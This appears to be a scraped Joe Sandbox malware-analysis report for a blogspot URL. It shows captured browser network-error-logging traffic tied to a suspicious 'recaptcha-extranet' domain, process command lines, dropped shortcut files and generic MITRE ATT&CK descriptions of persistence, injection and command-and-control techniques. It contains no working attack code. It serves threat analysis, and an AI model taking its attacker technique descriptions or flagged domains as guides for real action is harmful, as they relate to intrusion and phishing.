2025-01-09 04:15:06 UTC	565	OUT	OPTIONS /report/v4?s=0%2B7s8t5YW5FVhBgVFdTpeKBJ5psPhwkHEqfHe3u1XsF%2Fkreo8g1MOl7f1VssAEOPv%2FEgpekQHsIoUtGX9O8EcIHVRNnlcdf8vq%2BDj6970GFqSstqitcPmKJu6gK2IqP7vOLaTnELh9cRm67pUbVy HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://admin.recaptcha-extranet.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:15:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 09 Jan 2025 04:15:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49776	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:15:06 UTC	569	OUT	OPTIONS /report/v4?s=m13qYhqGjSOd%2Fb0A0LFvj0%2FSBirxHH14evx3bVStZ%2FrXi%2B2jdEejt1DLNaHTD5N%2BA2QRAycqleAWlKUlHW8yS4n%2F6rtFMyV47aW9q6G2UXVOpog2Eh1m4PISx4WtdnuJaL5XcTxjqEbeiN6vocb8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://admin.recaptcha-extranet.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:15:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 09 Jan 2025 04:15:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49778	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:15:07 UTC	494	OUT	POST /report/v4?s=0%2B7s8t5YW5FVhBgVFdTpeKBJ5psPhwkHEqfHe3u1XsF%2Fkreo8g1MOl7f1VssAEOPv%2FEgpekQHsIoUtGX9O8EcIHVRNnlcdf8vq%2BDj6970GFqSstqitcPmKJu6gK2IqP7vOLaTnELh9cRm67pUbVy HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 919 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:15:07 UTC	919	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 38 39 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 6e 74 65 72 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":59896,"body":{"elapsed_time":110,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://enterawesome.com/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":403,"type":"http.error"},"type":"network-error","ur
2025-01-09 04:15:07 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 09 Jan 2025 04:15:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49779	35.190.80.1	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:15:07 UTC	499	OUT	POST /report/v4?s=m13qYhqGjSOd%2Fb0A0LFvj0%2FSBirxHH14evx3bVStZ%2FrXi%2B2jdEejt1DLNaHTD5N%2BA2QRAycqleAWlKUlHW8yS4n%2F6rtFMyV47aW9q6G2UXVOpog2Eh1m4PISx4WtdnuJaL5XcTxjqEbeiN6vocb8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1713 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:15:07 UTC	1713	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 36 33 31 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 35 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 6d 69 6e 2e 72 65 63 61 70 74 Data Ascii: [{"age":56314,"body":{"elapsed_time":1051,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","url":"https://admin.recapt
2025-01-09 04:15:07 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 09 Jan 2025 04:15:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	23:13:59
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	23:14:00
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,12208104453667308307,62760475673226430,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	23:14:01
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://rinderynitvye.blogspot.com/"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://rinderynitvye.blogspot.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Static File Info

Windows Analysis Report
https://rinderynitvye.blogspot.com/